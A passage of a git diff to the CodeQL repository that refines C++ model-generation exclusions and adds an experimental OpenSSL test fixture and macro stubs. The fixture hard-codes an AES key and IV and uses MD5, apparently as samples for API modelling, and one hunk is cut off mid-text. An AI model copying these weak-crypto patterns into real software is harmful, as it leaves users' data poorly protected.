_) +where flow = ContentSensitive::captureFlow(api, _, _, _, _) select flow order by flow diff --git a/cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll b/cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll index 93abe205f1a6..ea6ab058134f 100644 --- a/cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll +++ b/cpp/ql/src/utils/modelgenerator/internal/CaptureModels.qll @@ -13,6 +13,8 @@ private import semmle.code.cpp.ir.dataflow.internal.TaintTrackingImplSpecific private import semmle.code.cpp.dataflow.new.TaintTracking as Tt private import semmle.code.cpp.dataflow.new.DataFlow as Df private import codeql.mad.modelgenerator.internal.ModelGeneratorImpl +private import semmle.code.cpp.models.interfaces.Taint as Taint +private import semmle.code.cpp.models.interfaces.DataFlow as DataFlow /** * Holds if `f` is a "private" function. @@ -45,6 +47,26 @@ private predicate isUninterestingForModels(Callable api) { api = any(Cpp::LambdaExpression lambda).getLambdaFunction() or api.isFromUninstantiatedTemplate(_) + or + // No need to generate models for functions modeled by hand in QL + api instanceof Taint::TaintFunction + or + api instanceof DataFlow::DataFlowFunction + or + // Don't generate models for main functions + api.hasGlobalName("main") + or + // Don't generate models for system-provided functions. If we want to + // generate models for these we should use a database containing the + // implementations of those system-provided functions in the source root. + not exists(api.getLocation().getFile().getRelativePath()) + or + // Exclude functions in test directories (but not the ones in the CodeQL test directory) + exists(Cpp::File f | + f = api.getFile() and + f.getAbsolutePath().matches("%test%") and + not f.getAbsolutePath().matches("%test/library-tests/dataflow/modelgenerator/dataflow/%") + ) } private predicate relevant(Callable api) { @@ -189,15 +211,15 @@ module ModelGeneratorCommonInput implements ModelGeneratorCommonInputSig 0) { + // Success + plaintext_len += len; + return plaintext_len; + } else { + // Verification failed + return -1; + } +} + +// Function to calculate SHA-256 hash +int calculate_sha256(const unsigned char *message, size_t message_len, + unsigned char *digest) { + EVP_MD_CTX *mdctx; + unsigned int digest_len; + + // Create and initialize the context + if(!(mdctx = EVP_MD_CTX_new())) + return 0; + + // Initialize the hash operation + if(1 != EVP_DigestInit_ex(mdctx, EVP_sha256(), NULL)) + return 0; + + // Provide the message to be hashed + if(1 != EVP_DigestUpdate(mdctx, message, message_len)) + return 0; + + // Finalize the hash + if(1 != EVP_DigestFinal_ex(mdctx, digest, &digest_len)) + return 0; + + // Clean up + EVP_MD_CTX_free(mdctx); + + return 1; +} + +// Function to generate random bytes +int generate_random_bytes(unsigned char *buffer, size_t length) { + return RAND_bytes(buffer, length); +} + +// Function using direct EVP_Digest function (one-shot hash) +int calculate_md5_oneshot(const unsigned char *message, size_t message_len, + unsigned char *digest) { + unsigned int digest_len; + + // Calculate MD5 in a single call + if(1 != EVP_Digest(message, message_len, digest, &digest_len, EVP_md5(), NULL)) + return 0; + + return 1; +} + +// Function using HMAC +int calculate_hmac_sha256(const unsigned char *key, size_t key_len, + const unsigned char *message, size_t message_len, + unsigned char *mac) { + EVP_MD_CTX *ctx = EVP_MD_CTX_new(); + EVP_PKEY *pkey = EVP_PKEY_new_mac_key(EVP_PKEY_HMAC, NULL, key, key_len); + + if (!ctx || !pkey) + return 0; + + if (EVP_DigestSignInit(ctx, NULL, EVP_sha256(), NULL, pkey) != 1) + return 0; + + if (EVP_DigestSignUpdate(ctx, message, message_len) != 1) + return 0; + + size_t mac_len = 32; // SHA-256 output size + if (EVP_DigestSignFinal(ctx, mac, &mac_len) != 1) + return 0; + + EVP_MD_CTX_free(ctx); + EVP_PKEY_free(pkey); + + return 1; +} + +// Test function +int test_main() { + // Test encryption and decryption + unsigned char *key = (unsigned char *)"01234567890123456789012345678901"; // 32 bytes + unsigned char *iv = (unsigned char *)"0123456789012345"; // 16 bytes + unsigned char *plaintext = (unsigned char *)"This is a test message for encryption"; + unsigned char ciphertext[1024]; + unsigned char tag[16]; + unsigned char decrypted[1024]; + int plaintext_len = strlen((char *)plaintext); + int ciphertext_len; + int decrypted_len; + + // Test SHA-256 hash + unsigned char hash[32]; + + // Test random generation + unsigned char random_bytes[32]; + + // // Initialize OpenSSL + // ERR_load_crypto_strings(); + + // Encrypt data + ciphertext_len = encrypt_aes_gcm(plaintext, plaintext_len, key, iv, 16, ciphertext, tag); + + // Decrypt data + decrypted_len = decrypt_aes_gcm(ciphertext, ciphertext_len, tag, key, iv, 16, decrypted); + + //printf("decrypted: %s\n", decrypted); + + // Calculate hash + calculate_sha256(plaintext, plaintext_len, hash); + + // Generate random bytes + generate_random_bytes(random_bytes, 32); + + // Calculate one-shot MD5 + unsigned char md5_hash[16]; + calculate_md5_oneshot(plaintext, plaintext_len, md5_hash); + + // Calculate HMAC + unsigned char hmac[32]; + calculate_hmac_sha256(key, 32, plaintext, plaintext_len, hmac); + + return 0; +} \ No newline at end of file diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/options b/cpp/ql/test/experimental/library-tests/quantum/openssl/options new file mode 100644 index 000000000000..eb3abc42d12c --- /dev/null +++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/options @@ -0,0 +1 @@ +semmle-extractor-options: -I ../../../stubs \ No newline at end of file diff --git a/cpp/ql/test/experimental/stubs/README.md b/cpp/ql/test/experimental/stubs/README.md new file mode 100644 index 000000000000..eacd316b95be --- /dev/null +++ b/cpp/ql/test/experimental/stubs/README.md @@ -0,0 +1,4 @@ +The stubs in this directory are derived from various open-source projects, and +used to test that the relevant APIs are correctly modelled. Where a disclaimer +or third-party-notice is required, this is included in the top-level directory +for each particular library. \ No newline at end of file diff --git a/cpp/ql/test/experimental/stubs/openssl/alg_macro_stubs.h b/cpp/ql/test/experimental/stubs/openssl/alg_macro_stubs.h new file mode 100644 index 000000000000..3058681d71d7 --- /dev/null +++ b/cpp/ql/test/experimental/stubs/openssl/alg_macro_stubs.h @@ -0,0 +1,3741 @@ +# define EVP_PKEY_NONE NID_undef +# define EVP_PKEY_RSA NID_rsaEncryption +# define EVP_PKEY_RSA2 NID_rsa +# define EVP_PKEY_RSA_PSS NID_rsassaPss +# define EVP_PKEY_DSA NID_dsa +# define EVP_PKEY_DSA1 NID_dsa_2 +# define EVP_PKEY_DSA2 NID_dsaWithSHA +# define EVP_PKEY_DSA3 NID_dsaWithSHA1 +# define EVP_PKEY_DSA4 NID_dsaWithSHA1_2 +# define EVP_PKEY_DH NID_dhKeyAgreement +# define EVP_PKEY_DHX NID_dhpublicnumber +# define EVP_PKEY_EC NID_X9_62_id_ecPublicKey +# define EVP_PKEY_SM2 NID_sm2 +# define EVP_PKEY_HMAC NID_hmac +# define EVP_PKEY_CMAC NID_cmac +# define EVP_PKEY_SCRYPT NID_id_scrypt +# define EVP_PKEY_TLS1_PRF NID_tls1_prf +# define EVP_PKEY_HKDF NID_hkdf +# define EVP_PKEY_POLY1305 NID_poly1305 +# define EVP_PKEY_SIPHASH NID_siphash +# define EVP_PKEY_X25519 NID_X25519 +# define EVP_PKEY_ED25519 NID_ED25519 +# define EVP_PKEY_X448 NID_X448 +# define EVP_PKEY_ED448 NID_ED448 + +#define NID_crl_reason 141 +#define NID_invalidity_date 142 +#define NID_hold_instruction_code 430 +#define NID_undef 0 +#define NID_pkcs9_emailAddress 48 +#define NID_crl_number 88 +#define SN_aes_256_cbc "AES-256-CBC" +#define NID_id_it_caCerts 1223 +#define NID_id_it_rootCaCert 1254 +#define NID_id_it_crlStatusList 1256 +#define NID_id_it_certReqTemplate 1225 +#define NID_id_regCtrl_algId 1259 +#define NID_id_regCtrl_rsaKeyLen 1260 +#define NID_pkcs7_signed 22 +#define NID_pkcs7_data 21 +#define NID_ED25519 1087 +#define NID_ED448 1088 +#define SN_sha256 "SHA256" +#define NID_hmac 855 +#define SN_X9_62_prime192v1 "prime192v1" +#define SN_X9_62_prime256v1 "prime256v1" +#define NID_grasshopper_mac NID_kuznyechik_mac +#define SN_grasshopper_mac SN_kuznyechik_mac +#define NID_grasshopper_cfb NID_kuznyechik_cfb +#define SN_grasshopper_cfb SN_kuznyechik_cfb +#define NID_grasshopper_cbc NID_kuznyechik_cbc +#define SN_grasshopper_cbc SN_kuznyechik_cbc +#define NID_grasshopper_ofb NID_kuznyechik_ofb +#define SN_grasshopper_ofb SN_kuznyechik_ofb +#define NID_grasshopper_ctr NID_kuznyechik_ctr +#define SN_grasshopper_ctr SN_kuznyechik_ctr +#define NID_grasshopper_ecb NID_kuznyechik_ecb +#define SN_grasshopper_ecb SN_kuznyechik_ecb +#define NID_id_tc26_wrap_gostr3412_2015_kuznyechik_kexp15 NID_kuznyechik_kexp15 +#define SN_id_tc26_wrap_gostr3412_2015_kuznyechik_kexp15 SN_kuznyechik_kexp15 +#define NID_id_tc26_wrap_gostr3412_2015_magma_kexp15 NID_magma_kexp15 +#define SN_id_tc26_wrap_gostr3412_2015_magma_kexp15 SN_magma_kexp15 +#define NID_id_tc26_cipher_gostr3412_2015_kuznyechik_ctracpkm_omac NID_kuznyechik_ctr_acpkm_omac +#define SN_id_tc26_cipher_gostr3412_2015_kuznyechik_ctracpkm_omac SN_kuznyechik_ctr_acpkm_omac +#define NID_id_tc26_cipher_gostr3412_2015_kuznyechik_ctracpkm NID_kuznyechik_ctr_acpkm +#define SN_id_tc26_cipher_gostr3412_2015_kuznyechik_ctracpkm SN_kuznyechik_ctr_acpkm +#define NID_id_tc26_cipher_gostr3412_2015_magma_ctracpkm_omac NID_magma_ctr_acpkm_omac +#define SN_id_tc26_cipher_gostr3412_2015_magma_ctracpkm_omac SN_magma_ctr_acpkm_omac +#define NID_id_tc26_cipher_gostr3412_2015_magma_ctracpkm NID_magma_ctr_acpkm +#define SN_id_tc26_cipher_gostr3412_2015_magma_ctracpkm SN_magma_ctr_acpkm +#define NID_ML_KEM_1024 1456 +#define LN_ML_KEM_1024 "ML-KEM-1024" +#define SN_ML_KEM_1024 "id-alg-ml-kem-1024" +#define NID_ML_KEM_768 1455 +#define LN_ML_KEM_768 "ML-KEM-768" +#define SN_ML_KEM_768 "id-alg-ml-kem-768" +#define NID_ML_KEM_512 1454 +#define LN_ML_KEM_512 "ML-KEM-512" +#define SN_ML_KEM_512 "id-alg-ml-kem-512" +#define NID_tcg_tr_cat_PublicKey 1453 +#define LN_tcg_tr_cat_PublicKey "Public Key Trait Category" +#define SN_tcg_tr_cat_PublicKey "tcg-tr-cat-PublicKey" +#define NID_tcg_tr_cat_RTM 1452 +#define LN_tcg_tr_cat_RTM "Root of Trust of Measurement Trait Category" +#define SN_tcg_tr_cat_RTM "tcg-tr-cat-RTM" +#define NID_tcg_tr_cat_platformFirmwareUpdateCompliance 1451 +#define LN_tcg_tr_cat_platformFirmwareUpdateCompliance "Platform Firmware Update Compliance Trait Category" +#define SN_tcg_tr_cat_platformFirmwareUpdateCompliance "tcg-tr-cat-platformFirmwareUpdateCompliance" +#define NID_tcg_tr_cat_platformFirmwareSignatureVerification 1450 +#define LN_tcg_tr_cat_platformFirmwareSignatureVerification "Platform Firmware Signature Verification Trait Category" +#define SN_tcg_tr_cat_platformFirmwareSignatureVerification "tcg-tr-cat-platformFirmwareSignatureVerification" +#define NID_tcg_tr_cat_platformHardwareCapabilities 1449 +#define LN_tcg_tr_cat_platformHardwareCapabilities "Platform Hardware Capabilities Trait Category" +#define SN_tcg_tr_cat_platformHardwareCapabilities "tcg-tr-cat-platformHardwareCapabilities" +#define NID_tcg_tr_cat_platformFirmwareCapabilities 1448 +#define LN_tcg_tr_cat_platformFirmwareCapabilities "Platform Firmware Capabilities Trait Category" +#define SN_tcg_tr_cat_platformFirmwareCapabilities "tcg-tr-cat-platformFirmwareCapabilities" +#define NID_tcg_tr_cat_PEN 1447 +#define LN_tcg_tr_cat_PEN "Private Enterprise Number Trait Category" +#define SN_tcg_tr_cat_PEN "tcg-tr-cat-PEN" +#define NID_tcg_tr_cat_attestationProtocol 1446 +#define LN_tcg_tr_cat_attestationProtocol "Attestation Protocol Trait Category" +#define SN_tcg_tr_cat_attestationProtocol "tcg-tr-cat-attestationProtocol" +#define NID_tcg_tr_cat_networkMAC 1445 +#define LN_tcg_tr_cat_networkMAC "Network MAC Trait Category" +#define SN_tcg_tr_cat_networkMAC "tcg-tr-cat-networkMAC" +#define NID_tcg_tr_cat_ISO9000 1444 +#define LN_tcg_tr_cat_ISO9000 "ISO 9000 Trait Category" +#define SN_tcg_tr_cat_ISO9000 "tcg-tr-cat-ISO9000" +#define NID_tcg_tr_cat_FIPSLevel 1443 +#define LN_tcg_tr_cat_FIPSLevel "FIPS Level Trait Category" +#define SN_tcg_tr_cat_FIPSLevel "tcg-tr-cat-FIPSLevel" +#define NID_tcg_tr_cat_componentIdentifierV11 1442 +#define LN_tcg_tr_cat_componentIdentifierV11 "Component Identifier V1.1 Trait Category" +#define SN_tcg_tr_cat_componentIdentifierV11 "tcg-tr-cat-componentIdentifierV11" +#define NID_tcg_tr_cat_CommonCriteria 1441 +#define LN_tcg_tr_cat_CommonCriteria "Common Criteria Trait Category" +#define SN_tcg_tr_cat_CommonCriteria "tcg-tr-cat-CommonCriteria" +#define NID_tcg_tr_cat_genericCertificate 1440 +#define LN_tcg_tr_cat_genericCertificate "Generic Certificate Trait Category" +#define SN_tcg_tr_cat_genericCertificate "tcg-tr-cat-genericCertificate" +#define NID_tcg_tr_cat_RebasePlatformCertificate 1439 +#define LN_tcg_tr_cat_RebasePlatformCertificate "Rebase Platform Certificate Trait Category" +#define SN_tcg_tr_cat_RebasePlatformCertificate "tcg-tr-cat-RebasePlatformCertificate" +#define NID_tcg_tr_cat_DeltaPlatformCertificate 1438 +#define LN_tcg_tr_cat_DeltaPlatformCertificate "Delta Platform Certificate Trait Category" +#define SN_tcg_tr_cat_DeltaPlatformCertificate "tcg-tr-cat-DeltaPlatformCertificate" +#define NID_tcg_tr_cat_PlatformCertificate 1437 +#define LN_tcg_tr_cat_PlatformCertificate "Platform Certificate Trait Category" +#define SN_tcg_tr_cat_PlatformCertificate "tcg-tr-cat-PlatformCertificate" +#define NID_tcg_tr_cat_PEMCertificate 1436 +#define LN_tcg_tr_cat_PEMCertificate "PEM Certificate Trait Category" +#define SN_tcg_tr_cat_PEMCertificate "tcg-tr-cat-PEMCertificate" +#define NID_tcg_tr_cat_SPDMCertificate 1435 +#define LN_tcg_tr_cat_SPDMCertificate "SPDM Certificate Trait Category" +#define SN_tcg_tr_cat_SPDMCertificate "tcg-tr-cat-SPDMCertificate" +#define NID_tcg_tr_cat_DICECertificate 1434 +#define LN_tcg_tr_cat_DICECertificate "DICE Certificate Trait Category" +#define SN_tcg_tr_cat_DICECertificate "tcg-tr-cat-DICECertificate" +#define NID_tcg_tr_cat_IDevIDCertificate 1433 +#define LN_tcg_tr_cat_IDevIDCertificate "IDevID Certificate Trait Category" +#define SN_tcg_tr_cat_IDevIDCertificate "tcg-tr-cat-IDevIDCertificate" +#define NID_tcg_tr_cat_IAKCertificate 1432 +#define LN_tcg_tr_cat_IAKCertificate "IAK Certificate Trait Category" +#define SN_tcg_tr_cat_IAKCertificate "tcg-tr-cat-IAKCertificate" +#define NID_tcg_tr_cat_EKCertificate 1431 +#define LN_tcg_tr_cat_EKCertificate "EK Certificate Trait Category" +#define SN_tcg_tr_cat_EKCertificate "tcg-tr-cat-EKCertificate" +#define NID_tcg_tr_cat_componentFieldReplaceable 1430 +#define LN_tcg_tr_cat_componentFieldReplaceable "Component Field Replaceable Trait Category" +#define SN_tcg_tr_cat_componentFieldReplaceable "tcg-tr-cat-componentFieldReplaceable" +#define NID_tcg_tr_cat_componentRevision 1429 +#define LN_tcg_tr_cat_componentRevision "Component Revision Trait Category" +#define SN_tcg_tr_cat_componentRevision "tcg-tr-cat-componentRevision" +#define NID_tcg_tr_cat_componentLocation 1428 +#define LN_tcg_tr_cat_componentLocation "Component Location Trait Category" +#define SN_tcg_tr_cat_componentLocation "tcg-tr-cat-componentLocation" +#define NID_tcg_tr_cat_componentStatus 1427 +#define LN_tcg_tr_cat_componentStatus "Component Status Trait Category" +#define SN_tcg_tr_cat_componentStatus "tcg-tr-cat-componentStatus" +#define NID_tcg_tr_cat_componentSerial 1426 +#define LN_tcg_tr_cat_componentSerial "Component Serial Trait Category" +#define SN_tcg_tr_cat_componentSerial "tcg-tr-cat-componentSerial" +#define NID_tcg_tr_cat_componentModel 1425 +#define LN_tcg_tr_cat_componentModel "Component Model Trait Category" +#define SN_tcg_tr_cat_componentModel "tcg-tr-cat-componentModel" +#define NID_tcg_tr_cat_componentManufacturer 1424 +#define LN_tcg_tr_cat_componentManufacturer "Component Manufacturer Trait Category" +#define SN_tcg_tr_cat_componentManufacturer "tcg-tr-cat-componentManufacturer" +#define NID_tcg_tr_cat_componentClass 1423 +#define LN_tcg_tr_cat_componentClass "Component Class Trait Category" +#define SN_tcg_tr_cat_componentClass "tcg-tr-cat-componentClass" +#define NID_tcg_tr_cat_platformOwnership 1422 +#define LN_tcg_tr_cat_platformOwnership "Platform Ownership Trait Category" +#define SN_tcg_tr_cat_platformOwnership "tcg-tr-cat-platformOwnership" +#define NID_tcg_tr_cat_platformManufacturerIdentifier 1421 +#define LN_tcg_tr_cat_platformManufacturerIdentifier "Platform Manufacturer Identifier Trait Category" +#define SN_tcg_tr_cat_platformManufacturerIdentifier "tcg-tr-cat-platformManufacturerIdentifier" +#define NID_tcg_tr_cat_platformSerial 1420 +#define LN_tcg_tr_cat_platformSerial "Platform Serial Trait Category" +#define SN_tcg_tr_cat_platformSerial "tcg-tr-cat-platformSerial" +#define NID_tcg_tr_cat_platformVersion 1419 +#define LN_tcg_tr_cat_platformVersion "Platform Version Trait Category" +#define SN_tcg_tr_cat_platformVersion "tcg-tr-cat-platformVersion" +#define NID_tcg_tr_cat_platformModel 1418 +#define LN_tcg_tr_cat_platformModel "Platform Model Trait Category" +#define SN_tcg_tr_cat_platformModel "tcg-tr-cat-platformModel" +#define NID_tcg_tr_cat_platformManufacturer 1417 +#define LN_tcg_tr_cat_platformManufacturer "Platform Manufacturer Trait Category" +#define SN_tcg_tr_cat_platformManufacturer "tcg-tr-cat-platformManufacturer" +#define NID_tcg_tr_ID_PublicKey 1416 +#define LN_tcg_tr_ID_PublicKey "Public Key Trait" +#define SN_tcg_tr_ID_PublicKey "tcg-tr-ID-PublicKey" +#define NID_tcg_tr_ID_PEMCertString 1415 +#define LN_tcg_tr_ID_PEMCertString "PEM-Encoded Certificate String Trait" +#define SN_tcg_tr_ID_PEMCertString "tcg-tr-ID-PEMCertString" +#define NID_tcg_tr_ID_IA5String 1414 +#define LN_tcg_tr_ID_IA5String "IA5String Trait" +#define SN_tcg_tr_ID_IA5String "tcg-tr-ID-IA5String" +#define NID_tcg_tr_ID_UTF8String 1413 +#define LN_tcg_tr_ID_UTF8String "UTF8String Trait" +#define SN_tcg_tr_ID_UTF8String "tcg-tr-ID-UTF8String" +#define NID_tcg_tr_ID_URI 1412 +#define LN_tcg_tr_ID_URI "Uniform Resource Identifier Trait" +#define SN_tcg_tr_ID_URI "tcg-tr-ID-URI" +#define NID_tcg_tr_ID_status 1411 +#define LN_tcg_tr_ID_status "Attribute Status Trait" +#define SN_tcg_tr_ID_status "tcg-tr-ID-status" +#define NID_tcg_tr_ID_RTM 1410 +#define LN_tcg_tr_ID_RTM "Root of Trust for Measurement Trait" +#define SN_tcg_tr_ID_RTM "tcg-tr-ID-RTM" +#define NID_tcg_tr_ID_platformHardwareCapabilities 1409 +#define LN_tcg_tr_ID_platformHardwareCapabilities "Platform Hardware Capabilities Trait" +#define SN_tcg_tr_ID_platformHardwareCapabilities "tcg-tr-ID-platformHardwareCapabilities" +#define NID_tcg_tr_ID_platformFirmwareUpdateCompliance 1408 +#define LN_tcg_tr_ID_platformFirmwareUpdateCompliance "Platform Firmware Update Compliance Trait" +#define SN_tcg_tr_ID_platformFirmwareUpdateCompliance "tcg-tr-ID-platformFirmwareUpdateCompliance" +#define NID_tcg_tr_ID_platformFirmwareSignatureVerification 1407 +#define LN_tcg_tr_ID_platformFirmwareSignatureVerification "Platform Firmware Signature Verification Trait" +#define SN_tcg_tr_ID_platformFirmwareSignatureVerification "tcg-tr-ID-platformFirmwareSignatureVerification" +#define NID_tcg_tr_ID_platformFirmwareCapabilities 1406 +#define LN_tcg_tr_ID_platformFirmwareCapabilities "Platform Firmware Capabilities Trait" +#define SN_tcg_tr_ID_platformFirmwareCapabilities "tcg-tr-ID-platformFirmwareCapabilities" +#define NID_tcg_tr_ID_PEN 1405 +#define LN_tcg_tr_ID_PEN "Private Enterprise Number Trait" +#define SN_tcg_tr_ID_PEN "tcg-tr-ID-PEN" +#define NID_tcg_tr_ID_OID 1404 +#define LN_tcg_tr_ID_OID "Object Identifier Trait" +#define SN_tcg_tr_ID_OID "tcg-tr-ID-OID" +#define NID_tcg_tr_ID_networkMAC 1403 +#define LN_tcg_tr_ID_networkMAC "Network MAC Trait" +#define SN_tcg_tr_ID_networkMAC "tcg-tr-ID-networkMAC" +#define NID_tcg_tr_ID_ISO9000Level 1402 +#define LN_tcg_tr_ID_ISO9000Level "ISO 9000 Level Trait" +#define SN_tcg_tr_ID_ISO9000Level "tcg-tr-ID-ISO9000Level" +#define NID_tcg_tr_ID_FIPSLevel 1401 +#define LN_tcg_tr_ID_FIPSLevel "FIPS Level Trait" +#define SN_tcg_tr_ID_FIPSLevel "tcg-tr-ID-FIPSLevel" +#define NID_tcg_tr_ID_componentIdentifierV11 1400 +#define LN_tcg_tr_ID_componentIdentifierV11 "Component Identifier V1.1 Trait" +#define SN_tcg_tr_ID_componentIdentifierV11 "tcg-tr-ID-componentIdentifierV11" +#define NID_tcg_tr_ID_componentClass 1399 +#define LN_tcg_tr_ID_componentClass "Component Class Trait" +#define SN_tcg_tr_ID_componentClass "tcg-tr-ID-componentClass" +#define NID_tcg_tr_ID_CommonCriteria 1398 +#define LN_tcg_tr_ID_CommonCriteria "Common Criteria Trait" +#define SN_tcg_tr_ID_CommonCriteria "tcg-tr-ID-CommonCriteria" +#define NID_tcg_tr_ID_CertificateIdentifier 1397 +#define LN_tcg_tr_ID_CertificateIdentifier "Certificate Identifier Trait" +#define SN_tcg_tr_ID_CertificateIdentifier "tcg-tr-ID-CertificateIdentifier" +#define NID_tcg_tr_ID_Boolean 1396 +#define LN_tcg_tr_ID_Boolean "Boolean Trait" +#define SN_tcg_tr_ID_Boolean "tcg-tr-ID-Boolean" +#define NID_tcg_tr_registry 1395 +#define LN_tcg_tr_registry "TCG Trait Registries" +#define SN_tcg_tr_registry "tcg-tr-registry" +#define NID_tcg_tr_category 1394 +#define LN_tcg_tr_category "TCG Trait Categories" +#define SN_tcg_tr_category "tcg-tr-category" +#define NID_tcg_tr_ID 1393 +#define LN_tcg_tr_ID "TCG Trait Identifiers" +#define SN_tcg_tr_ID "tcg-tr-ID" +#define NID_tcg_cap_verifiedPlatformCertificate 1392 +#define LN_tcg_cap_verifiedPlatformCertificate "TCG Verified Platform Certificate CA Policy" +#define SN_tcg_cap_verifiedPlatformCertificate "tcg-cap-verifiedPlatformCertificate" +#define NID_tcg_registry_componentClass_disk 1391 +#define LN_tcg_registry_componentClass_disk "Disk Component Class" +#define SN_tcg_registry_componentClass_disk "tcg-registry-componentClass-disk" +#define NID_tcg_registry_componentClass_pcie 1390 +#define LN_tcg_registry_componentClass_pcie "PCIE Component Class" +#define SN_tcg_registry_componentClass_pcie "tcg-registry-componentClass-pcie" +#define NID_tcg_registry_componentClass_dmtf 1389 +#define LN_tcg_registry_componentClass_dmtf "Distributed Management Task Force Registry" +#define SN_tcg_registry_componentClass_dmtf "tcg-registry-componentClass-dmtf" +#define NID_tcg_registry_componentClass_ietf 1388 +#define LN_tcg_registry_componentClass_ietf "Internet Engineering Task Force Registry" +#define SN_tcg_registry_componentClass_ietf "tcg-registry-componentClass-ietf" +#define NID_tcg_registry_componentClass_tcg 1387 +#define LN_tcg_registry_componentClass_tcg "Trusted Computed Group Registry" +#define SN_tcg_registry_componentClass_tcg "tcg-registry-componentClass-tcg" +#define NID_tcg_registry_componentClass 1386 +#define LN_tcg_registry_componentClass "TCG Component Class" +#define SN_tcg_registry_componentClass "tcg-registry-componentClass" +#define NID_tcg_address_bluetoothmac 1385 +#define LN_tcg_address_bluetoothmac "Bluetooth MAC Address" +#define SN_tcg_address_bluetoothmac "tcg-address-bluetoothmac" +#define NID_tcg_address_wlanmac 1384 +#define LN_tcg_address_wlanmac "WLAN MAC Address" +#define SN_tcg_address_wlanmac "tcg-address-wlanmac" +#define NID_tcg_address_ethernetmac 1383 +#define LN_tcg_address_ethernetmac "Ethernet MAC Address" +#define SN_tcg_address_ethernetmac "tcg-address-ethernetmac" +#define NID_tcg_prt_tpmIdProtocol 1382 +#define LN_tcg_prt_tpmIdProtocol "TCG TPM Protocol" +#define SN_tcg_prt_tpmIdProtocol "tcg-prt-tpmIdProtocol" +#define NID_tcg_ce_virtualPlatformBackupService 1381 +#define LN_tcg_ce_virtualPlatformBackupService "Virtual Platform Backup Service" +#define SN_tcg_ce_virtualPlatformBackupService "tcg-ce-virtualPlatformBackupService" +#define NID_tcg_ce_migrationControllerRegistrationService 1380 +#define LN_tcg_ce_migrationControllerRegistrationService "Migration Controller Registration Service" +#define SN_tcg_ce_migrationControllerRegistrationService "tcg-ce-migrationControllerRegistrationService" +#define NID_tcg_ce_migrationControllerAttestationService 1379 +#define LN_tcg_ce_migrationControllerAttestationService "Migration Controller Attestation Service" +#define SN_tcg_ce_migrationControllerAttestationService "tcg-ce-migrationControllerAttestationService" +#define NID_tcg_ce_virtualPlatformAttestationService 1378 +#define LN_tcg_ce_virtualPlatformAttestationService "Virtual Platform Attestation Service" +#define SN_tcg_ce_virtualPlatformAttestationService "tcg-ce-virtualPlatformAttestationService" +#define NID_tcg_ce_relevantManifests 1377 +#define LN_tcg_ce_relevantManifests "Relevant Manifests" +#define SN_tcg_ce_relevantManifests "tcg-ce-relevantManifests" +#define NID_tcg_ce_relevantCredentials 1376 +#define LN_tcg_ce_relevantCredentials "Relevant Credentials" +#define SN_tcg_ce_relevantCredentials "tcg-ce-relevantCredentials" +#define NID_tcg_kp_AdditionalPlatformKeyCertificate 1375 +#define LN_tcg_kp_AdditionalPlatformKeyCertificate "Additional Platform Key Certificate" +#define SN_tcg_kp_AdditionalPlatformKeyCertificate "tcg-kp-AdditionalPlatformKeyCertificate" +#define NID_tcg_kp_AdditionalPlatformAttributeCertificate 1374 +#define LN_tcg_kp_AdditionalPlatformAttributeCertificate "Additional Platform Attribute Certificate" +#define SN_tcg_kp_AdditionalPlatformAttributeCertificate "tcg-kp-AdditionalPlatformAttributeCertificate" +#define NID_tcg_kp_DeltaPlatformKeyCertificate 1373 +#define LN_tcg_kp_DeltaPlatformKeyCertificate "Delta Platform Key Certificate" +#define SN_tcg_kp_DeltaPlatformKeyCertificate "tcg-kp-DeltaPlatformKeyCertificate" +#define NID_tcg_kp_DeltaPlatformAttributeCertificate 1372 +#define LN_tcg_kp_DeltaPlatformAttributeCertificate "Delta Platform Attribute Certificate" +#define SN_tcg_kp_DeltaPlatformAttributeCertificate "tcg-kp-DeltaPlatformAttributeCertificate" +#define NID_tcg_kp_PlatformKeyCertificate 1371 +#define LN_tcg_kp_PlatformKeyCertificate "Platform Key Certificate" +#define SN_tcg_kp_PlatformKeyCertificate "tcg-kp-PlatformKeyCertificate" +#define NID_tcg_kp_AIKCertificate 1370 +#define LN_tcg_kp_AIKCertificate "Attestation Identity Key Certificate" +#define SN_tcg_kp_AIKCertificate "tcg-kp-AIKCertificate" +#define NID_tcg_kp_PlatformAttributeCertificate 1369 +#define LN_tcg_kp_PlatformAttributeCertificate "Platform Attribute Certificate" +#define SN_tcg_kp_PlatformAttributeCertificate "tcg-kp-PlatformAttributeCertificate" +#define NID_tcg_kp_EKCertificate 1368 +#define LN_tcg_kp_EKCertificate "Endorsement Key Certificate" +#define SN_tcg_kp_EKCertificate "tcg-kp-EKCertificate" +#define NID_tcg_algorithm_null 1367 +#define LN_tcg_algorithm_null "TCG NULL Algorithm" +#define SN_tcg_algorithm_null "tcg-algorithm-null" +#define NID_tcg_at_platformConfigUri_v3 1366 +#define LN_tcg_at_platformConfigUri_v3 "Platform Configuration URI Version 3" +#define SN_tcg_at_platformConfigUri_v3 "tcg-at-platformConfigUri-v3" +#define NID_tcg_at_platformConfiguration_v3 1365 +#define LN_tcg_at_platformConfiguration_v3 "Platform Configuration Version 3" +#define SN_tcg_at_platformConfiguration_v3 "tcg-at-platformConfiguration-v3" +#define NID_tcg_at_platformConfiguration_v2 1364 +#define LN_tcg_at_platformConfiguration_v2 "Platform Configuration Version 2" +#define SN_tcg_at_platformConfiguration_v2 "tcg-at-platformConfiguration-v2" +#define NID_tcg_at_platformConfiguration_v1 1363 +#define LN_tcg_at_platformConfiguration_v1 "Platform Configuration Version 1" +#define SN_tcg_at_platformConfiguration_v1 "tcg-at-platformConfiguration-v1" +#define NID_tcg_at_cryptographicAnchors 1362 +#define LN_tcg_at_cryptographicAnchors "TCG Cryptographic Anchors" +#define SN_tcg_at_cryptographicAnchors "tcg-at-cryptographicAnchors" +#define NID_tcg_at_tbbSecurityAssertions_v3 1361 +#define LN_tcg_at_tbbSecurityAssertions_v3 "TCG TBB Security Assertions V3" +#define SN_tcg_at_tbbSecurityAssertions_v3 "tcg-at-tbbSecurityAssertions-v3" +#define NID_tcg_at_previousPlatformCertificates 1360 +#define LN_tcg_at_previousPlatformCertificates "TCG Previous Platform Certificates" +#define SN_tcg_at_previousPlatformCertificates "tcg-at-previousPlatformCertificates" +#define NID_tcg_at_tcgCredentialType 1359 +#define LN_tcg_at_tcgCredentialType "TCG Credential Type" +#define SN_tcg_at_tcgCredentialType "tcg-at-tcgCredentialType" +#define NID_tcg_at_tcgCredentialSpecification 1358 +#define LN_tcg_at_tcgCredentialSpecification "TCG Credential Specification" +#define 